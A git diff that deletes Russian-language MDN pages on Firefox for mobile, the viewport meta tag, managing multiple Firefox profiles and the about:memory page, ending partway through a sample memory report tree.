-<h2 id="Firefox_for_Android" name="Firefox_for_Android"><a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox для Android</a></h2>
-
-<p>Firefox для Android является мобильным веб-браузером Mozilla для Android-устройств. Он  был недавно  переписан, чтобы использовать собственный интерфейс Android, что делает его более быстрым, более компактным и более отзывчивым. Он обеспечивает поддержку мощных API-интерфейсов для доступа к возможностям устройств, таких как стеки камеры и телефонии.</p>
-
-<p>Читайте о том, как помочь создать Firefox для Android, как использовать его API-интерфейсы устройств, и как создавать мобильные дополнения.</p>
-
-<h2 id="Firefox_for_iOS" name="Firefox_for_iOS"><a href="/en-US/docs/Mozilla/Firefox_for_iOS">Firefox для iOS</a></h2>
-
-<p>Firefox для iOS является предстоящим мобильным веб-браузером от Mozilla для iOS устройств. Из-за ограничений AppStore, он использует компоненты встроенные в WebView, поставляемые iOS, а не Gecko.</p>
-
-<p>Читайте о том, как помочь с Firefox для iOS, и как интегрировать его с другими iOS-приложениями.</p>
-
-<h2 id="Mobile_web_development" name="Mobile_web_development"><a href="/en-US/docs/Web/Guide/Mobile">Mobile web development</a></h2>
-
-<p>У мобильные устройств  разные аппаратные характеристики, отличающиеся от настольных или портативных компьютеров, и многие из API-интерфейсов, используемых для работы с ними все еще находятся в процессе стандартизации.</p>
-
-<p>Читайте о том, как разрабатывать веб-сайты, которые хорошо смотрятся на мобильных устройствах и воспользоваться новыми возможностями, которые они предлагают. Узнайте, как убедиться, что ваш веб-сайт хорошо работает на различных браузерах.</p>
diff --git a/files/ru/mozilla/mobile/viewport_meta_tag/index.html b/files/ru/mozilla/mobile/viewport_meta_tag/index.html
deleted file mode 100644
index c16a6df3a4..0000000000
--- a/files/ru/mozilla/mobile/viewport_meta_tag/index.html
+++ /dev/null
@@ -1,86 +0,0 @@
----
-title: >-
- Использование метатега viewport для управления разметкой на мобильных
- браузерах
-slug: Mozilla/Mobile/Viewport_meta_tag
-translation_of: Mozilla/Mobile/Viewport_meta_tag
----
-<h2 id="Введение">Введение</h2>
-
-<p>Мобильные браузеры отображают страницы в виртуальном «окне» (viewport, вьюпорт), которое, как правило, шире экрана устройства. Поэтому им не нужно сжимать макет каждой страницы в крошечное окно (что может сломать многие сайты, не оптимизированные под мобильные устройства). Пользователи могут изменять и масштабировать видимую область, чтобы видеть разные части страницы.</p>
-
-<p>В мобильной версии Safari появился "мета тег viewport" (viewport meta tag), который позволяет веб-разработчикам контролировать размер окна просмотра и масштаб страницы. Многие другие мобильные браузеры также поддерживают этот тег, хотя он не является частью какого-либо веб-стандарта. <a href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewport.html">Документация</a> Apple хорошо описывает, как веб-разработчики могут пользоваться этим тегом. Но мы должны были провести расследование, чтобы точно выяснить, как его можно реализовать в Fennec. Например, в документации к Safari сказано, что контент представляет собой «список значений, разделенных запятыми», но существующие браузеры и веб-страницы используют любое сочетание запятых, точек с запятой и пробелов в качестве разделителей.</p>
-
-<p>Узнать больше о вьюпортах в разных мобильных браузерах можно в <a href="http://www.quirksmode.org/mobile/viewports2.html">Рассказе о Двух Viewport'ах</a> на quirksmode.org.</p>
-
-<h2 id="Основы_Viewport">Основы Viewport</h2>
-
-<p>Типичный сайт, оптимизированный для мобильных устройств, содержит следующий мета-тег:</p>
-
-<pre class="notranslate">&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
-</pre>
-
-<p>Свойство <code>width</code> определяет размер окна просмотра. Он может быть установлен на определенное количество пикселей, скажем, <code>width=600</code> или на специальное значение <code>device-width</code>, которое означает ширину экрана в пикселях CSS в масштабе 100%. (Есть также соответствующие значения <code>height</code> и <code>device-height</code>, которые могут быть полезны для страниц с элементами, которые изменяют размер или положение на основе высоты окна просмотра).</p>
-
-<p>Свойство <code>initial-scale</code> контролирует уровень масштабирования при первой загрузке страницы. Свойства <code>maximum-scale</code>, <code>minimum-scale</code> и <code>user-scalable</code> определяют, как пользователям разрешено увеличивать или уменьшать страницу.</p>
-
-<div class="blockIndicator warning">
-<p>Использование <code>user-scalable=no</code> может вызвать проблемы с просмотром у пользователей с плохим зрением.</p>
-</div>
-
-<h2 id="Пиксель_это_не_пиксель">Пиксель это не пиксель</h2>
-
-<p>В последние годы разрешение экрана увеличилось до такого размера, что отдельные пиксели трудно отличить человеческим глазом. Например, последние смартфоны обычно имеют 5-дюймовые экраны с разрешением выше 1920-1080 пикселей (~400 точек на дюйм). Из-за этого многие браузеры могут отображать свои страницы в меньшем физическом размере, переведя несколько аппаратных пикселей для каждого пикселя CSS. Первоначально это вызывало проблемы удобства использования и удобства чтения на многих веб-сайтах, оптимизированных для сенсорного экрана. Питер-Пол Кох написал об этой проблеме в <a href="http://www.quirksmode.org/blog/archives/2010/04/a_pixel_is_not.html">«Пиксель это не пиксель»</a>.</p>
-
-<p>На экранах с высоким разрешением экрана страницы с <code>initial-scale=1</code> будут эффективно масштабироваться браузерами. Их текст будет плавным и четким, но их растровые изображения, вероятно, не будут использовать полное разрешение экрана. Чтобы получить более четкие изображения на этих экранах, веб-разработчики могут создать изображения - или целые макеты - в более высоком масштабе, чем их конечный размер, а затем масштабировать их с помощью свойств CSS или viewport. Это соответствует <a href="http://www.w3.org/TR/CSS2/syndata.html#length-units">спецификации CSS 2.1</a>, которая гласит:</p>
-
-<blockquote>
-<p>Если плотность пикселей устройства вывода сильно отличается от плотности изображения на типичном дисплее компьютера, пользовательский агент должен масштабировать значения пикселей. Рекомендуется, чтобы блок пикселей ссылался на все количество пикселей устройства, которые наилучшим образом приближаются к опорному пикселю. Рекомендуется, чтобы опорный пиксель представлял собой угол зрения одного пикселя на устройстве с плотностью пикселей 96dpi и расстоянием от считывателя длины руки.</p>
-</blockquote>
-
-<p>Для веб-разработчиков это означает, что размер страницы намного меньше, чем фактическое количество пикселей, и браузеры могут соответственно изменять их макеты и изображения. Но помните, что не все мобильные устройства имеют одинаковую ширину; Вы должны следить за тем, чтобы ваши страницы хорошо работали при большом изменении размеров и ориентации экрана.</p>
-
-<p>Отношение пикселей по умолчанию зависит от плотности дисплея. На дисплее с плотностью менее 200 точек на дюйм отношение равно 1.0. На дисплеях с плотностью от 200 до 300 точек на дюйм отношение равно 1.5. Для дисплеев с плотностью более 300 точек на дюйм отношение представляет собой целостный пол (<em>плотность</em> / 150 точек на дюйм). Обратите внимание, что коэффициент по умолчанию равен true только тогда, когда масштаб viewport равен 1. В противном случае соотношение между пикселями CSS и пикселями устройства зависит от текущего уровня масштабирования.</p>
-
-<h2 id="Ширина_Viewport_и_ширина_экрана">Ширина Viewport и ширина экрана</h2>
-
-<p>Сайты могут устанавливать свой viewport на определенный размер. Например, определение «<code>width=320, initial-scale=1</code>» может использоваться для точного размещения на маленьком дисплее телефона в портретном режиме. Это может вызвать проблемы, когда браузер не отображает страницу большего размера. Чтобы исправить это, браузеры, если необходимо, увеличат ширину окна просмотра, чтобы заполнить экран по заданной шкале. Это особенно полезно для устройств с большим экраном, таких как iPad. (Аллен Пайк <a href="http://www.antipode.ca/2010/choosing-a-viewport-for-ipad-sites/">Выбор видового экрана для IPad сайтов</a> дает хорошее объяснение для веб-разработчиков.)</p>
-
-<p>Для страниц, задающих начальный или максимальный масштаб, это значит, что свойство <code>width</code> фактически переводит в <em>минимальную</em> ширину viewport. Например, если ваш макет должен иметь ширину не менее 500 пикселей, вы можете использовать следующую разметку. Когда экран шириной более 500 пикселей, браузер будет расширять область просмотра (а не увеличивать), чтобы она соответствовала экрану:</p>
-
-<pre class="notranslate">&lt;meta name="viewport" content="width=500, initial-scale=1"&gt;</pre>
-
-<p>Другими доступными <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta#Attributes">атрибутами</a> являются <code>minimum-scale</code>, <code>maximum-scale</code>, и <code>user-scalable</code>. Эти свойства влияют на начальный масштаб и ширину, а также ограничивают изменения уровня масштабирования.</p>
-
-<p>Не все мобильные браузеры обрабатывают изменения ориентации таким же образом. Например, Mobile Safari часто просто увеличивает масштаб страницы при смене с вертикальной ориентации на горизонтальную, вместо того, чтобы выкладывать страницу так, как если бы она была первоначально загружена в "ландшафт". Если веб-разработчики хотят, чтобы их настройки масштаба оставались неизменными при переключении ориентации на iPhone, они должны добавить значение <code>maximum-scale</code>, чтобы предотвратить это масштабирование, которое иногда имеет нежелательный побочный эффект, который мешает пользователям изменять масштаб:</p>
-
-<pre class="notranslate">&lt;meta name="viewport" content="initial-scale=1, maximum-scale=1"&gt;</pre>
-
-<p>Чтобы убрать это небольшое масштабирование, которое делают многие смартфоны, установите настройки начального масштаба и минимального масштаба равные 0.86. В этом случае горизонтальная полоса прокрутки будет убираться в любом положении экрана, и пользователь теперь сможет масштабировать экран свободно.</p>
-
-<pre class="notranslate">&lt;meta name="viewport" content="width=device-width, initial-scale=0.86, maximum-scale=3.0, minimum-scale=0.86"&gt;</pre>
-
-<h2 id="Общепринятые_viewport_для_мобильных_и_планшетных_устройств">Общепринятые viewport для мобильных и планшетных устройств</h2>
-
-<p>Если вы хотите знать, какие мобильные и планшетные устройства имеют ширину viewport, здесь представлен полный <a href="https://docs.adobe.com/content/help/en/target/using/experiences/vec/mobile-viewports.html">список размеров видовых экранов для мобильных устройств и планшетов</a>. Это дает такую информацию, как ширина видового экрана на вертикальной и горизонтальной ориентации, а также физический размер экрана, операционную систему и плотность пикселей устройства.</p>
-
-<h2 id="Спецификации">Спецификации</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Спецификация</th>
- <th scope="col">Статус</th>
- <th scope="col">Комментарий</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('CSS3 Device', '#viewport-meta', '&lt;meta name="viewport"&gt;')}}</td>
- <td>{{Spec2('CSS3 Device')}}</td>
- <td>В ненормативном порядке описывается элемент Viewport META</td>
- </tr>
- </tbody>
-</table>
-
-<p>Существует явный спрос на метатег viewport, поскольку он поддерживается большинством популярных мобильных браузеров и используется тысячами веб-сайтов. Было бы неплохо иметь настоящий стандарт для веб-страниц для управления свойствами viewport. По мере того, как продолжается процесс стандартизации, мы будем писать в Mozilla об его стадиях, чтобы вы были в курсе любых изменений.</p>
diff --git a/files/ru/mozilla/multiple_firefox_profiles/index.html b/files/ru/mozilla/multiple_firefox_profiles/index.html
deleted file mode 100644
index 684802e9d2..0000000000
--- a/files/ru/mozilla/multiple_firefox_profiles/index.html
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: Multiple Firefox profiles
-slug: Mozilla/Multiple_Firefox_Profiles
-translation_of: Mozilla/Firefox/Multiple_profiles
----
-<p>{{ draft() }}</p>
-<p>A profile in Firefox is the collection of settings, customizations, and personalizations that a user has made in the program. You can find details about <a class="external" href="http://support.mozilla.org/kb/Profiles" title="http://support.mozilla.org/kb/Profiles">Profiles on Mozilla's end-user support site</a>.</p>
-<h2 id="Reasons_to_have_multiple_profiles">Reasons to have multiple profiles</h2>
-<p>The casual user may want to have different profiles for different family members. Having different profiles would allow each person to have his or her own set of bookmarks, settings, and add-ons.</p>
-<p>Web developers might want a secondary profile for testing websites, apps, or other projects on different Firefox channels. For example, you might want to have the Firebug add-on installed for Web development, but not for general-purpose Web browsing. While using the Nightly channel, you may encounter some add-ons that have become temporarily incompatible with new API changes, until the add-on developer has a chance to update them. You can remove such add-ons from your profile for Nightly use, while keeping them for use with other profiles.</p>
-<p>For QA, testing, and bug triaging contributors, you may want to have multiple development versions of Firefox installed, each with its own profile. Creating new profiles for testing can keep you from losing your preferences, bookmarks, and history. It takes some time to set up a new profile, but once it is complete, all of your Firefox versions will update separately and can be run simultanesouly.</p>
-<h2 id="Available_browser_development_channels">Available browser development channels</h2>
-<p>There are four available browser channels, each at a different level of stability and development. The four channels are <a class="link-https" href="https://www.mozilla.org/en-US/firefox/new/" title="Firefox Stable">Release</a>, <a class="link-https" href="https://www.mozilla.org/en-US/firefox/beta/" title="Firefox Beta">Beta</a>, <a class="link-https" href="https://www.mozilla.org/en-US/firefox/aurora/" title="Firefox Aurora">Aurora</a>, and <a class="external" href="http://nightly.mozilla.org/" title="Firefox Nightly">Nightly</a>. The Release channel is recommended for most users, as it is the "official release" channel. However, for those more adventurous, you can try one of the other three channels to see what is coming in Firefox and play around with emerging features. The Beta channel contains the features that are expected to be in the next release of Firefox and are in final stages of testing. Aurora contains experimental features, which are not yet at beta quality. Nightly contains the latest code from Firefox developers and is the least stable channel.</p>
-<h2 id="Profile_management">Profile management</h2>
-<p>{{ Note("On all operating systems, before you can start the Profile Manager, Firefox must be completely closed.") }}</p>
-<p><strong>These instructions are tentatively going away in favor of a new profile manager. You can find more details at <a href="/en/Profile_Manager" title="en/Profile_Manager">Profile Manager</a></strong></p>
-<h3 id="Starting_Profile_Manager_in_Windows">Starting Profile Manager in Windows</h3>
-<h4 id="Windows_XP">Windows XP</h4>
-<ol>
- <li>Click the Start button</li>
- <li>Click "Run"</li>
- <li>Type "firefox -ProfileManager"</li>
-</ol>
-<h4 id="Windows_Vista7">Windows Vista/7</h4>
-<ol>
- <li>Click the Start button</li>
- <li>Click the search bar at the bottom.</li>
- <li>Type "firefox -ProfileManager"</li>
-</ol>
-<h4 id="Windows_88.1">Windows 8/8.1</h4>
-<ol>
- <li>Press "Windows + R" on your keyboard.</li>
- <li>Type "firefox -ProfileManager".</li>
-</ol>
-<p>If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox or restart the computer and then try again.</p>
-<h3 id="Starting_Profile_Manager_in_Linux">Starting Profile Manager in Linux</h3>
-<p>If Firefox is already included in your Linux distribution or if you have installed Firefox with the package manager of your Linux distribution:</p>
-<ol>
- <li>At the top of the Firefox window, click on the File menu and select Quit.</li>
- <li>In Terminal run:<br>
- firefox --ProfileManager</li>
-</ol>
-<p>If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox or restart the computer and then try again.</p>
-<h3 id="Starting_Profile_Manager_in_Mac_OSX">Starting Profile Manager in Mac OSX</h3>
-<p>Use the following tutorial until someone can test and step-by-step on a mac directly. <a class="link-https" href="http://sonnygill.net/mac/mac-multiple-firefox-profiles/"> Easily Run Multiple Firefox Instances on a Mac</a>.</p>
-<h3 id="Creating_a_profile">Creating a profile</h3>
-<p>These instructions should be the same for all operating systems.</p>
-<ol>
- <li>To start the Create Profile Wizard, click "Create Profile..." in the Profile Manager.</li>
- <li>Click Next and enter the name of the profile. Use a profile name that is descriptive, such as your personal name. This name is not exposed on the Internet.</li>
- <li>You can also choose where to store the profile on your computer. To select storage location, click Choose Folder....</li>
- <li>{{ Note("If you choose your own folder location for the profile, select a new or empty folder. If you choose a folder that isn't empty and you later remove the profile and choose the \"Delete Files\" option, everything inside that folder will be deleted.") }}</li>
- <li>To create the new profile, click Finish.</li>
-</ol>
-<h3 id="Deleting_a_profile">Deleting a profile</h3>
-<ol>
- <li>In the Profile Manager, select the profile to remove, and click Delete Profile....</li>
- <li>Confirm that you wish to delete the profile:
- <ul>
- <li>Don't Delete Files removes the profile from the Profile Manager yet retains the profile data files on your computer in the storage folder, so that your information is not lost. "Don't Delete Files" is the preferred option because it saves the old profile's folder and allows you to recover the files to a new profile.</li>
- <li>Delete Files removes the profile and its files, including the profile bookmarks, settings, passwords, etc. {{ warning("If you use the \"Delete Files\" option, the profile folder and files will be deleted. This action cannot be undone.") }}</li>
- <li>Cancel interrupts the profile deletion.</li>
- </ul>
- </li>
-</ol>
-<h3 id="Renaming_a_profile">Renaming a profile</h3>
-<ol>
- <li>In the Profile Manager, select the profile you want to rename, and then click "Rename Profile".</li>
- <li>Enter a new name for the profile and click on OK.</li>
- <li>{{ Note("The folder containing the files for the profile is not renamed. ") }}</li>
-</ol>
-<h2 id="Options">Options</h2>
-<h3 id="Work_Offline">Work Offline</h3>
-<p>Choosing this option loads the selected profile and starts Firefox offline. You can view previously viewed web pages and experiment with your profile.</p>
-<h3 id="Don't_ask_at_startup">Don't ask at startup</h3>
-<p>If you have multiple profiles, Firefox prompts you for the profile to use each time you start Firefox. Select this option to allow Firefox to load the selected profile without prompting at startup.</p>
-<p>{{ Note("To access other profiles after selecting this option, you must start the Profile Manager first.") }}</p>
-<h2 id="Using_the_profiles">Using the profiles</h2>
-<h3 id="Windows">Windows</h3>
-<p>If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to edit the "Target" of the launch icon. To do this:</p>
-<ol>
- <li>Right click the icon and choose "Properties".</li>
- <li>When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.</li>
- <li>After the closing quote, add "-ProfileManager"</li>
- <li>Click Ok.</li>
-</ol>
-<p>Now whenever you double click that icon, the profile manager should appear, allowing you to choose which profile you'd like to use.</p>
-<p>If you want individual icons to launch specific profiles, you will need to edit the "Target" of each icon. To do this:</p>
-<ol>
- <li>Right click the icon and choose "Properties".</li>
- <li>When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.</li>
- <li>To permanently set a specific profile, add "-p PROFILE_NAME" to the target path, but outside of the quotes, replacing "PROFILE_NAME" with the actual profile name you chose.</li>
- <li>If you would like to also allow multiple instances of Firefox to run at the same time, add "-no-remote" after the profile name.</li>
-</ol>
-<p>Once you are all done, click Ok. Do this for each icon you'd like to have a specific profile for. Once done, each one should automatically start with the specified profile.</p>
-<h3 id="Linux">Linux</h3>
-<p>There is no extremely straightforward way to create custom application launchers in Gnome 3 like there was in Gnome 2. The following tutorial will help get you going overall: <a class="external" href="http://blog.randell.ph/2011/08/01/how-to-create-custom-application-launchers-in-gnome-3/" title="How to create custom application launchers in gnome 3">Gnome 3 Custom application launcher</a>. Once you get to the point of adding a new item, you can have the profile dialog show up every time or set the launcher to launch a specific profile.</p>
-<p>If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to set the command line for your new launcher.</p>
-<ol>
- <li>Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the "-p" parameter.</li>
-</ol>
-<p>If you want individual icons to launch specific profiles, you will need to set the command line for your new launcher. To do this:</p>
-<ol>
- <li>Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the "-p PROFILE_NAME" parameter, replacing "PROFILE_NAME" with the specific profile.</li>
- <li>Repeat as necessary for each profile you want to set.</li>
- <li>If you would like to also allow multiple instances of Firefox to run at the same time, add "-no-remote" after the profile name.</li>
-</ol>
-<h3 id="Mac_OSX">Mac OSX</h3>
-<p>You can find a useful tutorial to set up custom launchers here: <a href="http://spf13.com/post/managing-multiple-firefox-profiles-in-os-x/" title="Managing Multiple Firefox Profiles in OSX">Managing Multiple Firefox Profiles in OSX</a>. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Leave off the profile name if you want the profile selector to show up every time you launch.</p>
-<h2 id="Setting_up_multiple_profiles_for_different_Firefox_Channels">Setting up multiple profiles for different Firefox Channels</h2>
-<p>This section will be especially helpful if you are a developer wanting to work with multiple channels and each having their own separate launcher.</p>
-<h3 id="Windows_2">Windows</h3>
-<p>In Windows, the Aurora and Nightly builds get their own directory in the "Programs" folder, so you don't have to worry about where to store the downloaded files. However, all three will attempt to use the same profile by default, and you'll want to not keep this because the different channels have different levels of features. To set each launcher, follow the Windows instructions at <a href="#Windows">Windows Launcher</a></p>
-<h3 id="Linux_2">Linux</h3>
-<p>In Linux, things aren't as automatically set up, and you will likely get a prompt to download a tar.bz2 file to extract from. Extract the files to a new directory and use the new launcher instructions from <a href="#Linux">here</a>. The only change you will need to make is the command path. You will want to set it to the directory you extracted the Firefox channel's tar.bz2 file into, and the executable "firefox" file located within. The remaining profile assignment methods will remain the same. You will want to, for sure, add the "-no-remote" part to the end of the command field, so that you could run multiple instances at the same time.</p>
-<h3 id="Mac_OSX_2">Mac OSX</h3>
-<p>You can find a useful tutorial to set up custom launchers here: <a href="http://spf13.com/post/managing-multiple-firefox-profiles-in-os-x/" title="Managing Multiple Firefox Profiles in OSX">Managing Multiple Firefox Profiles in OSX</a>. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Also you'll want to change the path in the do shell script to point to the correct .app file for the Firefox channel you want to target.</p>
diff --git a/files/ru/mozilla/performance/about_colon_memory/index.html b/files/ru/mozilla/performance/about_colon_memory/index.html
deleted file mode 100644
index 6d29937510..0000000000
--- a/files/ru/mozilla/performance/about_colon_memory/index.html
+++ /dev/null
@@ -1,190 +0,0 @@
----
-title: 'about:memory'
-slug: 'Mozilla/Performance/about:memory'
-tags:
- - Память
- - Производительность
- - диагностика
-translation_of: 'Mozilla/Performance/about:memory'
----
-<p>about:memory это специальная страница браузера Firefox, позволяющая просматривать, сохранять, загружать и сравнивать информацию об использовании браузером памяти. Также, она дает возможность проводить другие операции, связанные с памятью, такие как GC и CC, сохранение логов GC &amp; CC и сохранение отчетов DMD. Эта страница присутствует во всех сборках браузера и не требует установки дополнительных программ.</p>
-
-<h2 id="Как_создать_отчет_об_используемой_памяти">Как создать отчет об используемой памяти</h2>
-
-<p>Представим, что вам нужно узнать как и сколько памяти использует Firefox. Возможно, вам нужно провести анализ использования памяти, или кто-то попросил вас воспользоваться страницей about:memory чтобы создать отчет "memory reports" и исследовать имеющуюся у вас проблему. Выполните следующие шаги.</p>
-
-<ul>
- <li>Когда вам понадобится сделать замер текущей памяти (например, когда количество используемой Firefox памяти резко увеличилось) откройте новую вкладку, введите "about:memory" в адресную строку и нажмите "Enter".</li>
- <li>Если вам необходимо передать информацию об используемой памяти, например загрузить в Bugzilla или отправить по почте, нажмите на кнопку "Measure and save...". Откроется диалог, в котором вы сможете сохранить отчет в выбранный файл (у файла будет расширение <code>.json.gz</code>). После этого вы сможете соответственно загрузить или переслать файл, а получатель сможет открыть его в своей версии Firefox.</li>
- <li>Если вам нужно передать информацию в текстовом виде, например, в виде комментария на веб-сайте, нажмите на кнопку "Measure...". После этого информация об используемой памяти будет выведена в виде дерева прямо на странице about:memory. Информация будет представлена обычным текстом, так что вы сможете копировать и вставлять его как целиком, так и частями (вам не придется делать скриншоты). В этом тексте будет менее подробная информация об использовании ппамяти, чем в файле отчета, но даже этой информации иногда достаточно для диагностики. Не стоит жать кнопку "Measure..." несколько раз. Это приведет к тому, что страница about:memory сама начнет потреблять больше памяти, из-за добавления и удаления большого количества DOM узлов.</li>
-</ul>
-
-<p>Обратите внимание, что в обоих случаях отчет будет содержать такую приватную информацию, как, например, полный список всех ваших открытых вкладок. Если вы не хотите делиться этой информацией, то у чекбокса "anonymize" должна быть проставлена галочка перед тем, как нажимать на "Measure and save..." или "Measure...". Тогда вся приватная информация из отчета будет удалена, но это может усложнить диагностику памяти.</p>
-
-<h2 id="Загрузка_memory_report_из_файла">Загрузка memory report из файла</h2>
-
-<p>Самый простой способ загрузить memory report из файла, это использовать кнопку "Load...". Еще вы можете использовать кнопку "Load and diff..." чтобы получить diff (сравнение) между двумя отчетами.</p>
-
-<p>Также можно автоматически загрузить одиночный отчет, добавив в адресную сторку параметр file, у которого в качестве значения  прописать путь до файла отчета:</p>
-
-<pre>about:memory?file=/home/username/reports.json.gz
-</pre>
-
-<p>Это особенно полезно при загрузке отчета, полученного с устройства на Firefox OS. </p>
-
-<p>Отчеты сохраняются в виде заархивированого JSON. В последствии они могут быть загружены как в виде архива, так и из распокованого JSON файла.</p>
-
-<h2 id="Как_интерпретировать_memory_reports">Как интерпретировать memory reports</h2>
-
-<p>Почти все, что вы видите на странице about:memory, имеет всплывающую подсказку. Наведите курсор на любую кнопку и вы узнаете, что она делает. Наведите курсор на любую измерение и вы увидите его описание.</p>
-
-<h3 id="Базовые_понятия_измерений"><span class="mw-headline" id="Basics">Базовые понятия измерений</span></h3>
-
-<p>Большинство измерений исчисляются в байтах, однако могут использоваться также количественные и процентные единицы.</p>
-
-<p>Большинство измерений представлены в виде деревьев. Пример:</p>
-
-<pre> 585 (100.0%) -- preference-service
- └──585 (100.0%) -- referent
- ├──493 (84.27%) ── strong
- └───92 (15.73%) -- weak
- ├──92 (15.73%) ── alive
- └───0 (00.00%) ── dead
-</pre>
-
-<p>Листья этих деревьев отображают непосредтвенно затраченную память, а узлы представляют суммарные затраты памяти все своих потомков.</p>
-
-<p>Древовидное представление позволяет разбивать измерения на различные категории, подкатегории и т.д., на любую необходиму глубину. Все измерения в пределах одного дерева уникальны и не повторяются.</p>
-
-<p>Пути в дереве описываются с ипользованием '/' в качестве разделителя. Например, <code>preference/referent/weak/dead</code> это путь до листа dead в примере выше.</p>
-
-<p>Поддеревья могут быть свернуты или развернуты при клике по ним. Если вы хотите исследовать интересующее вас поддерево, то будет полезным сначала свернуть его в корневом узле, а потом постепенно раскрывать интересующие вас под-деревья.</p>
-
-<h3 id="Секции"><span class="mw-headline" id="Sections">Секции</span></h3>
-
-<p>Memory reports are displayed on a per-process basis, with one process per section. Within each process's measurements, there are the following subsections.</p>
-
-<h4 id="Явное_выделение_памяти_(Explicit_Allocations)">Явное выделение памяти (Explicit Allocations)</h4>
-
-<p>Эта секция содержит дерево под названием "explicit". Вся затраченная в этом дереве память выделена при помощи функций явного выделения памяти (таких как <code>malloc</code> и <code>new</code>) и функциями выделения без использования кучи (non-heap) (такими как <code>mmap</code> и <code>VirtualAlloc</code>).</p>
-
-<p>Далее представлен пример сессии, в которой открыты вкладки cnn.com, techcrunch.com, и arstechnica.com. Некоторые подеревья были развернуты, другие наоборот скрыты для большей наглядности. </p>
-
-<pre>191.89 MB (100.0%) -- explicit
-├───63.15 MB (32.91%) -- window-objects
-│ ├──24.57 MB (12.80%) -- top(http://edition.cnn.com/, id=8)
-│ │ ├──20.18 MB (10.52%) -- active
-│ │ │ ├──10.57 MB (05.51%) -- window(http://edition.cnn.com/)
-│ │ │ │ ├───4.55 MB (02.37%) ++ js-compartment(http://edition.cnn.com/)
-│ │ │ │ ├───2.60 MB (01.36%) ++ layout
-│ │ │ │ ├───1.94 MB (01.01%) ── style-sheets
-│ │ │ │ └───1.48 MB (00.77%) -- (2 tiny)
-│ │ │ │ ├──1.43 MB (00.75%) ++ dom
-│ │ │ │ └──0.05 MB (00.02%) ── property-tables
-│ │ │ └───9.61 MB (05.01%) ++ (18 tiny)
-│ │ └───4.39 MB (02.29%) -- js-zone(0x7f69425b5800)
-│ ├──15.75 MB (08.21%) ++ top(http://techcrunch.com/, id=20)
-│ ├──12.85 MB (06.69%) ++ top(http://arstechnica.com/, id=14)
-│ ├───6.40 MB (03.33%) ++ top(chrome://browser/content/browser.xul, id=3)
-│ └───3.59 MB (01.87%) ++ (4 tiny)
-├───45.74 MB (23.84%) ++ js-non-window
-├───33.73 MB (17.58%) ── heap-unclassified
-├───22.51 MB (11.73%) ++ heap-overhead
-├────6.62 MB (03.45%) ++ images
-├────5.82 MB (03.03%) ++ workers/workers(chrome)
-├────5.36 MB (02.80%) ++ (16 tiny)
-├────4.07 MB (02.12%) ++ storage
-├────2.74 MB (01.43%) ++ startup-cache
-└────2.16 MB (01.12%) ++ xpconnect</pre>
-
-<p>Для того, чтобы понять некоторые детали необходим опыт, но вот некоторые важные моменты, на которые стоит обратить внимание.</p>
-
-<ul>
- <li>Значение узла "explicit" представляет собой всю память, которая была выделена при помощи явных функций.</li>
- <li>Поддерево "window-objects" отображает все объекты window JavaScript'а, включая открытые вкладки и окна. Например, поддерево "top(http://edition.cnn.com/, id=8)" представляет вкладку, которая была открыта со страницы cnn.com, а "top(chrome://browser/content/browser.xul, id=3)" отображает окно графического интерфейса браузера.</li>
- <li>Внутри каждого измерения window есть такие поддеревья JavaScript, как  ("js-compartment(...)" and "js-zone(...)"), layout, style-sheets, DOM, и так далее.</li>
- <li>Понятно, что вкладка cnn.com использует больше памяти чем techcrunch.com tab, а та в свою очередь использует больше, чем arstechnica.com tab.</li>
- <li>Поддеревья с именами вроде "(2 tiny)" это искуственные объединения в узлы небольших по размеру поддеревьев, которые по умолчанию свернуты. Если перед измерением выбрать чекбокс "verbose" все деревья будут раскрыты и никаких искуственных узлов добавлено не будет.</li>
- <li>Поддерево "js-non-window" отображает потребление памяти JavaScript'ом не из объектов window, а из ядра браузера.</li>
- <li>Поддерево "heap-unclassified" отображает затраченную память, которая не подходит под другие секции . Обычно это 10--20% от дерева "explicit". Если эти затраты становятся больше, следует использовать дополнительные методы измерения памяти. При помощи <a href="/en-US/docs/Mozilla/Performance/DMD" title="Performance/MemShrink/DMD">DMD</a> можно выяснить, где именно их следует добавлять.</li>
- <li>Существуют измерения и для других видов контента, таких как изображения и workers, а также для подсистем браузера, такех как начальный кэш и XPConnect.</li>
-</ul>
-
-<p>Как показывает следующий пример, можно измерить потребления памяти некоторыми дополнениями.</p>
-
-<pre>├───40,214,384 B (04.17%) -- add-ons
-│ ├──21,184,320 B (02.20%) ++ {d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}/js-non-window/zones/zone(0x100496800)/compartment([System Principal], jar:file:///Users/njn/Library/Application%20Support/Firefox/Profiles/puna0zr8.new/extensions/%7Bd10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d%7D.xpi!/bootstrap.js (from: resource://gre/modules/addons/XPIProvider.jsm:4307))
-│ ├──11,583,312 B (01.20%) ++ jid1-xUfzOsOFlzSOXg@jetpack/js-non-window/zones/zone(0x100496800)
-│ ├───5,574,608 B (00.58%) -- {59c81df5-4b7a-477b-912d-4e0fdf64e5f2}
-│ │ ├──5,529,280 B (00.57%) -- window-objects
-│ │ │ ├──4,175,584 B (00.43%) ++ top(chrome://chatzilla/content/chatzilla.xul, id=4293)
-│ │ │ └──1,353,696 B (00.14%) ++ top(chrome://chatzilla/content/output-window.html, id=4298)
